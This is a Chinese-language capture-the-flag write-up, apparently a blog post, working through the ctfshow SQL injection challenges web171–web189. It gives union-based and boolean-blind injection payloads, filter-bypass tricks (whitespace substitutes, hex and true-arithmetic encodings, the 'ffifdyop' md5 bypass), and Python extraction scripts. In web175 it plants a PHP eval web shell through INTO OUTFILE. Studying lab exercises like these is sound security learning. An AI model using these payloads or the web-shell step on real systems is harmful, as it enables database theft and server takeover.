ctfshow(web171-web189)

发布时间:2023年12月19日

目录

web171

web172

web173

web174

web175

web176

web177

web178

web179

web180

web181

web182

web183

web184

web185

web186

web187

web188

web189


web171

1' and '1'='1 有结果

1' and '1'='2 无结果

字符型注入点

1' order by 3 --+ 正常
1' order by 4 --+ 报错

0' union select 1,2,3 --+ 三个显性位置

0' union select 1,2,database() --+ 当前数据库名为ctfshow_web

0' union select 1,2,table_name from information_schema.tables where table_schema='ctfshow_web' limit 0,1--+  该ctfshow-web数据库只有 ctfshow_user表

0' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_user' limit 0,1--+ 有id,username password三个字段

0' union select 1,2,concat_ws(id,username,password) from ctfshow_web.ctfshow_user where username='flag' limit 0,1--+  获得flag

总结:前面username != ‘flag’对联合注入无效 联合注入也添加where条件为username=’flag‘即可

web172

打开发现一只猫 需要点击select模块

1' and '1'='1' --+

1' and '1'='2' --+

字符型注入点

1' order by 2 --+ 成功
1' order by 3 --+ 不成功 只有两列

1' union select 1,2 --+ 两个位置都显示出来了

0' union select 1,database() --+ 

0' union select 1,group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web' --+ 发现有两张表 ctfshow_user1/user2  按照提示也是在第二张表中进行查找元素


总结 直接就能查询了 select 1,password 没有username flag字符串在 username中

0' union select 1,password from ctfshow_web.ctfshow_user2 where username='flag' limit 0,1--+

web173

总结 通过前两题基础? 直接看提示 输出三个字段 依旧是字符型注入点 在user3的表中查询 并且过滤返回结果是否存在flag字符串 和上一题同理 flag字符串在username字段中 不查询username即可 并且ctfshow的flag也不存在flag字符串

0' union select 1,2,password from ctfshow_web.ctfshow_user3 where username='flag' limit 0,1--+

web174



过滤了flag或者数字

在输入id=2和3的时候是没有回显的 因为回显中包含了数字

flag中大概率也会有数字 可以用base64编码或者hex编码绕过,to_base64(),hex()

试过了编码,都没有回显,应该是编码后还是存在数字,只能换个方法了

先编码 如果编码中存在数字进行替换

-1' union select 'a',replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(to_base64(password),"1","@A"),"2","@B"),"3","@C"),"4","@D"),"5","@E"),"6","@F"),"7","@G"),"8","@H"),"9","@I"),"0","@J") from ctfshow_user4 where username = 'flag' --+

将的得到的内容 粘贴到解密脚本中

import base64
flag64 = 'Y@CRmc@Bhvd@CtiNTNmOTMwYS@J@JMjVjLTQ@ANjctODM@AZS@JyNWNkMGUwMGEwM@BJ@I'
flag = flag64.replace("@A", "1").replace("@B", "2").replace("@C", "3").replace("@D", "4").replace("@E", "5").replace(
    "@F", "6").replace("@G", "7").replace("@H", "8").replace("@I", "9").replace("@J", "0")
flag = base64.b64decode(flag) #经过 Base64 解码后的字节数据
flag = flag.decode('utf-8')   #对字节数据进行utf-8编码 
print(flag)

总结 如果过滤必须输出出来内容 可以使用加密和替换 得到结果再反替换和解密

web175

?只要匹配上0-127ASCII字符 就返回FALSE ,不能输出 可以使用写文件的方式 得到getshell?

写文件

第一种 写木马?

1‘ union select 1,"<?php eval($_POST[1]); ?>" into outfile '/var/www/html/1.php

不行 那就试试持续加密 先对内容进行base64加密 再进行url加密 最后用数据库内部函数from base64解码?

在这里卡了好久犯了一个致命的错误 就是id必须是一个不存在的 否则影响一句话木马的执行

1' union select 1,from_base64("%50%44%39%77%61%48%41%67%5a%58%5a%68%62%43%67%6b%58%31%42%50%55%31%52%62%4d%56%30%70%4f%7a%38%2b") into outfile '/var/www/html/1.php
99' union select 1,from_base64("%50%44%39%77%61%48%41%67%5a%58%5a%68%62%43%67%6b%58%31%42%50%55%31%52%62%4d%56%30%70%4f%7a%38%2b") into outfile '/var/www/html/1.php

查看当前目录 有一个api

查看api目录 有config.php

查看config.php文件 有连接数据库的账号密码

使用蚁剑连接 右键数据操作?

找到flag

第二种 将结果写入到txt文件中 访问txt文件

1' union select 1,password from ctfshow_user5 into outfile '/var/www/html/2.txt'--+

总结

如过过滤所有输出 可以使用写文件的方式

web176

这关开始就过滤了 所以 我们要从头来越细越好 因为 不知道过滤了什么 举个例子?

1' --+ 能输出 代表 注释没被过滤

1' order by 3--+ 成功

1' order by 4--+ 失败

order没被过滤

1' union select 1,2,3--+ 无显示 估计是 有被过滤的

1' UNION SELECT 1,2,3 --+ 过滤了小写以及双写 没过滤大写

步骤与web171同理 得出这个表名为 ctfshow_user

最终poc

0' UNION SELECT 1,2,password from ctfshow_web.ctfshow_user where username='flag'--+

总结 过滤了union select的小写以及双写 没过滤大写

web177

1'%0aand%0a'1'='1'%23 成功

1'%0aand%0a'1'='2'%23 失败

过滤了空格和注释符

过滤了空格 用%0a或者/**/代替即可 过滤了注释 使用 %23进行代替

最终poc

0'%0aUNION%0aSELECT%0a1,2,password%0afrom%0actfshow_web.ctfshow_user%0awhere%0ausername='flag'%23

总结 过滤空格 使用%0a或者/**/代替 过滤注释使用%23代替

web178

1'%0aand%0a1=1%23 成功

1'%0aand%0a1=2%23 失败

和上一题一样 加上过滤了/**/ 直接用上一题poc即可 上一题 我用的%0a代替的空格

0'%0aUNION%0aSELECT%0a1,2,password%0afrom%0actfshow_web.ctfshow_user%0awhere%0ausername='flag'%23

web179

1'%0cand%0c1=1%23? 成功

1'%0cand%0c1=2%23? 失败

过滤了空格的%0a但是还可以使用%0c替换

0'%0cUNION%0cSELECT%0c1,2,password%0cfrom%0cctfshow_web.ctfshow_user%0cwhere%0cusername='flag'%23

总结

空格被过滤可以用,/**/,%09,%0a,%0b,%0c,%0d还有括号绕过

web180

1' --+? 无结果? ? 注释被过滤

1’%23 无结果? ? %23也被过滤

1’‘? 成功? 多加一个单引号闭合服务器中的单引号

1'%0cand%0c'1'='1''? ?这里我出现一个问题 我想直接使用两个双引号 但是 不成功 估计是连续三个单引号导致的 那就是用or 一真则真

1'%0cand%0c'1'='1 只能这样

1'%0cor%0c'1'='1'' 这样也可以

1'%0cor%0c'1'='1' 这样就不行了?

0'%0cUNION%0cSELECT%0c1,2,password%0cfrom%0cctfshow_web.ctfshow_user%0cwhere%0cusername='flag'%0cand%0c'1'='1

?总结

注释的方法有三种,-- 和#还有闭合号注释

web181

不能用select 直接在原语句构造

只过滤了x0c等 但是%0c没过滤(虽然写法不同 但是都是算是换页符) 对我们没有影响,(这个时候%0a %0b都不行 我估计是也被过滤了 ) 主要是过滤了select 不能使用联合查询等?/i 标志表示不区分大小写。

于是在原语句进行构造 一定多尝试!!

0'%0cor%0cusername="flag"%0cand%0c'1'='1
0'%0cor%0cusername="flag"'

总结 如果前面存在否定 但是后面有or 不影响or语句

web182

输入的时候 把flag关键字过滤了 使用sql查询语句中的 like即可

0'%0cor%0cusername%0clike%0c"f___"'

web183

确实还是这张表

看看你pass字段里有没有包含ctfshow的行 可以用反引号当空格

确实存在这么一列? 还有一点 有的时候不行 记住url编码

发现如果存在指定内容 就返回记录数1 如果不存在就为0 也就相当于布尔盲注进行判断

python脚本 (这是本人第一次跟老师弄得sql python脚本)

很感慨 这python脚本很强大 第一眼看到的时候感觉具难 慢慢发现很好理解

import requests #请求模块
import time #睡眠模块
# 需要请求的url
url = "http://9039ff9b-cdf4-4377-9593-411c132bbf99.challenge.ctf.show/select-waf.php"
# 字典 因为已知flag就有0-9 a-z 所以就是一个简易字典
flagstr="ctfshow}{0123456789-abcdefghijklmnopqrstuvwxyz"
# 先定义一个flag为空
flag = ""
# 循环45次因为flag为45个字符 range(0,45)表示一个从 0 到 37 的整数序列
for i in range(0,45):
    # 遍历我们的字典
    for x in flagstr:
        # 这是post请求中提交的数据 正则匹配 {}为flag+x占位 注意regexp里面要用双引号包裹起来
        data = {
            "tableName":"`ctfshow_user`where`pass`regexp('{}')".format(flag+x)
        }
        # 提交post请求 将服务器的应答报文赋值给response变量
        response = requests.post(url,data=data)
        # 有并发数量限制的题目,就睡一段时间
        # time.sleep(0.3)
        # 在应答报文中找关键点 如果找到了 返回1 没找到返回0
        # 如果找到了输出一下当前遍历的x 并且将这个x追加到flag变量中 且推出当前循环
        if response.text.find("user_count = 1;")>0:
            print("+++++++++++++++++++={} is right".format(x))
            flag+=x
            break
    print(flag)
# ctfshow{66127f11-44a5-4109-9355-ae209cbe5f6e}

web184

过滤的很多?

单引号双引号反引号都被屏蔽了 甚至还有where 就是没有过滤空格

单引号双引号可以使用十六进制代替 where 可以使用group by分组联合having代替

注意having 条件是关于pass的 那么group by 后面就要跟pass

import requests  # 请求模块
import time  # 睡眠模块
# 定义一个将字符串转换成十六进制的函数
def string_to_hex(input_string):
    # 使用encode方法将字符串转换为字节串,再使用hex函数得到十六进制表示
    tzy = input_string.encode().hex()
    return tzy
# 需要请求的url
url = "http://9767a3b2-080b-405f-95f7-77513dd1b4f0.challenge.ctf.show/select-waf.php"
# 字典 因为已知flag就有0-9 a-z 所以就是一个简易字典
flagstr = "ctfshow}{0123456789-abcdefghijklmnopqrstuvwxyz"
# 先定义一个flag为空
flag = ""
# 循环45次因为flag为45个字符 range(0,45)表示一个从 0 到 37 的整数序列
for i in range(0, 45):
    # 遍历我们的字典
    for x in flagstr:
        # 这是post请求中提交的数据 正则匹配 {}为flag+x占位 注意regexp里面要用双引号包裹起来
        data = {
            "tableName": " ctfshow_user group by pass having pass regexp(0x{})".format(string_to_hex(flag+x))
        }
        # 提交post请求 将服务器的应答报文赋值给response变量
        response = requests.post(url, data=data)
        # 有并发数量限制的题目,就睡一段时间
        # time.sleep(0.3)
        # 在应答报文中找关键点 如果找到了 返回1 没找到返回0
        # 如果找到了输出一下当前遍历的x 并且将这个x追加到flag变量中 且推出当前循环
        if response.text.find("user_count = 1;") > 0:
            print("+++++++++++++++++++={} is right".format(x))
            flag += x
            print(x)
            break
    print(flag)

web185

且数字被过滤了

本来想着传入ascii(a)-ascii(b)但是正确写法为ascii(’a‘)-ascii(‘b’)单引号还被过滤了

只能跟着大师傅的方法走了

使用concat进行字符的连接

构造出将十六进制数分别转换成该形式

按照这个思路自己写了一个转换函数

def hex_to_long(input_hex):
    tmp="concat("
    for x in input_hex:
        if ord(x)>=97:
            print(type(x))
            tmp += "str("+x+"),"
        else:
            x=int(x)
            tmp += "("
            for i in range(x):
                tmp+="true+"
                if i==x-1:
                    tmp = tmp[:-1]+"),"
    tmp += tmp[:-1]+")"
    return tmp
print(hex_to_long("a12bq12we"))

输出,在concat中 字符必须使用引号 否则报错 但是又发现单引号被过滤了

concat('a',(true),(true+true),'b','q',(true),(true+true),'w','e',concat('a',(true),(true+true),'b','q',(true),(true+true),'w','e')

那就把a先转换成ascii的形式 例如a为97 97个true相加 再用char(97)进行转换 即可绕过单引号过滤

转换函数

import requests  # 请求模块
import time  # 睡眠模块
# 定义一个将字符串转换成十六进制的函数
def string_to_hex(input_string):
    # 使用encode方法将字符串转换为字节串,再使用hex函数得到十六进制表示
    tzy = input_string.encode().hex()
    return tzy
def hex_to_long(input_hex):
    tmp = "concat("
    for x in input_hex:
        if ord(x) >= 97:
            tmp += "char("
            for t in range(ord(x)):
                tmp += "true+"
                if t == ord(x) - 1:
                    tmp = tmp[:-1]
                    tmp += "),"
        else:
            x = int(x)
            tmp += "("
            for i in range(x):
                tmp += "true+"
                if i == x-1:
                    tmp = tmp[:-1]
                    tmp += "),"
    tmp = tmp[:-1]
    tmp += ")"
    return tmp

完整python脚本(当前时间为14:11)这个时候 我使用完整脚本测试的时候出问题了 在15:39全部修改完毕

原因

?-符号必须也要转换成ascii次数的true相加 否则在concat执行时-会报错? 并且0也没有使用false?

import requests  # 请求模块
import time  # 睡眠模块
def hex_to_long(input_hex):
    tmp = "concat("
    y=0
    y+=1
    for x in input_hex:
        if ord(x) >= 97 or ord(x) == 45 :
            tmp += "char("
            for t in range(ord(x)):
                tmp += "true+"
                if t == ord(x) - 1:
                    tmp = tmp[:-1]
                    tmp += "),"
        else:
            if ord(x) > 48 and ord(x) <= 57:
                x = int(x)
                tmp += "("
                for i in range(x):
                    tmp += "true+"
                    if i == x-1:
                        tmp = tmp[:-1]
                        tmp += "),"
            else:
                if ord(x) == 48:
                    tmp += "(false),"
    tmp = tmp[:-1]
    tmp += ")"
    return tmp
url = "http://072a1b91-18d3-4c23-9f3c-54432b823e02.challenge.ctf.show/select-waf.php"
flagstr = "ctfshow}{0123456789-abcdefghijklmnopqrstuvwxyz"
flag = ""
for i in range(0, 45):
    # 遍历我们的字典
    for x in flagstr:
        data = {
            "tableName":"ctfshow_user group by pass having pass regexp({})".format(hex_to_long(flag+x))
        }
        response = requests.post(url, data=data)
        if response.text.find("user_count = 1;") > 0:
            print("+++++++++++++++++++={} is right".format(x))
            flag += x
            print(flag)
            break
        #else:
            #print("+++++++++++++++++++={} is wrong".format(x))
            #print(flag+x)

web186

增加了尖括号^%的过滤。 对我们无影响 直接使用上一题的payload

web187

题中$password = md5($_POST['password'],true);,将md5函数的第二参数设置为了true。

  • raw_output:如果可选的 raw_output 被设置为 TRUE,那么 MD5 报文摘要将以16字节长度的原始二进制格式返回。

这里的二进制格式,并不是指转成0101,而是binary mode。

对这个函数的进行本地测试,看一下:

ffifdyop是一个特殊的字符串,类似万能密码。还有129581926211651571912466741651878684928也可以达到同样的效果(经过测试好像没用)。

查询语句就变成了

$sql = "select count(*) from ctfshow_user where username = 'admin' and password= ''or'6�]��!r,��b';

获取flag

总结 '0'or'3aaa' 恒为真? 提示只有admin才能回去flag 那就用admin登录 密码用万能密码?

下面的图片解释一下啊 万能密码

web188

数字和字符串比较的话 会把字符串转换成数字 如果在sql语句中 条件最好是字符 如果为整形 就造成了弱类型比较 字母开头的转换成数字都是0 所以 当用户名为0 时 就能把所有用户名开头为字母的 查出来

这个密码判断 转换成整形和数据库的字符密码比较 也是弱类型比较也能成功

直接抓包 获取flag

web189

密码判断时不转换成整形了

提示flag在api/index.php中

群主说直接写脚本读 并说是凌晨四点25分? 太强了哥

跟着视频一步一步学

思路就是 通过admin位置进行注入 进行读文件 判断这个单个字符是哪一个字符(就是布尔注入) 首先就是找输入什么的时候页面有区别

注意 无论什么题 一定要多多测试

多多测试?多多测试?多多测试?多多测试!!!!!!!!!!!!!!!!!!!!

在username为0和1的时候有区别

0的返回表单内容有u8bef

1的返回表单内容有u8d25

这就构成了盲注的条件

在写脚本之前先判断一下 固定语句是什么

首先就是where后 id=可以直接跟if语句

传参直接传if就可以?

因为是php文件 开头肯定是<? 第一个肯定是<?

怎么发现if语句是永真 我取一位试试

发现第一位只有<返回1?

确定了固定部分语句了 开始写脚本

我真的服了? 我认为是没有问题的?

单独把if(substr(load_file('/var/www/html/api/index.php'),{},1)regexp('{}'),1,0)拿出来都好使 放到脚本就不好使

我弄了一个点查出原因?

脚本的返回包是页面源代码

而真正的识别码在bp抓到的返回包中

2023/12/14 19:37问群里的人 没人回复 先留着 以后再弄

import requests #请求模块
url = "http://78d681d9-5dcb-431a-a7e5-5af55e290985.challenge.ctf.show/select-waf.php"
flagstr="<}{0123456789-abcdefghijklmnopqrstuvwxyz><?#=,;$"
flag = ""
for i in range(1,300):
    for x in flagstr:
        print(x)
        data = {
            "username":"if(substr(load_file('/var/www/html/api/index.php'),{},1)regexp('{}'),1,0)".format(i,x),
            "password":"0"
        }
        print(data)
        response = requests.post(url,data=data)
        #print(response.text)
        if response.text.find("u8d25")>0:
            print("+++++++++++++++++++={} is right".format(x))
            flag+=x
            break
        else:
            print("+++++++++++++++++++={} is wrong".format(x))
    print(flag)

时隔五天回头看 发现问题在哪了

再post提交进行抓包的时候发现 提交的位置是/api的位置 在脚本中将数据提交的位置是原页面所以获取不到想要的结果?

修改url位置 在后面加上api即可

import requests #请求模块
url = "http://78d681d9-5dcb-431a-a7e5-5af55e290985.challenge.ctf.show/api"
flagstr="<}{0123456789-abcdefghijklmnopqrstuvwxyz><?#=,;$"
flag = ""
for i in range(1,300):
    for x in flagstr:
        print(x)
        data = {
            "username":"if(substr(load_file('/var/www/html/api/index.php'),{},1)regexp('{}'),1,0)".format(i,x),
            "password":"0"
        }
        print(data)
        response = requests.post(url,data=data)
        #print(response.text)
        if response.text.find("u8d25")>0:
            print("+++++++++++++++++++={} is right".format(x))
            flag+=x
            break
        else:
            print("+++++++++++++++++++={} is wrong".format(x))
    print(flag)

得到flag

文章来源:https://blog.csdn.net/m0_72125469/article/details/134950883
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。